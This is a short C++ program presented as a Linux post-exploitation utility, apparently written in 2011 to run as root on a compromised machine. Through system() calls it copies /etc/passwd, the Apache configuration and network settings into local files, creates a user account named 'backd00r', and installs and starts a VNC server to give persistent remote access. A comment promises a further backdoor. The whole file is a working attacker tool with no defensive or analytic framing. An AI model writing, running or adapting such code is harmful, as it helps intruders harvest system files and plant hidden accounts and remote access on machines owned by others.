//Linux Post Exploitation Utility
//Created by Ryan McDougall
//6-9-2011
//Should be run as root after exploitation has occured. This will gather some basic information and create a backdoor.

#include <cstdlib>
#include <iomanip>
#include <iostream>
#include <string>

using namespace std;

int main()
{
   
   
   //Grabbing password file
   cout << "Executing 'cat /etc/passwd >> passwdop.txt'. File is in current directory" << endl;
   system("cat /etc/passwd >> passwdop.txt");
  //Grabbing apache config file
   cout << "Executing 'cat /etc/apache2/apache2.conf >> apacheconf.txt' File is in current directory." << endl;
   system("cat /etc/apache2/apache2.conf >> apacheconf.txt");
  //Getting Networking information
   cout << "Getting networking information..." << endl;
   system("ifconfig >> ifconfig.txt");
   system("cat /etc/network/interfaces >> interfaces.txt");
  //Creating account
   cout <<"Creating account..." << endl;
   system("adduser backd00r");
  //Create backdoor
  //Install VNC for now...
   cout << "Downloading and installing VNC server..." << endl;
   system("apt-get install vnc4server");
   cout << "Starting the VNC service..." << endl;
   system("vncserver");
   //Insert ruby backdoor solution here
  return 0;

}
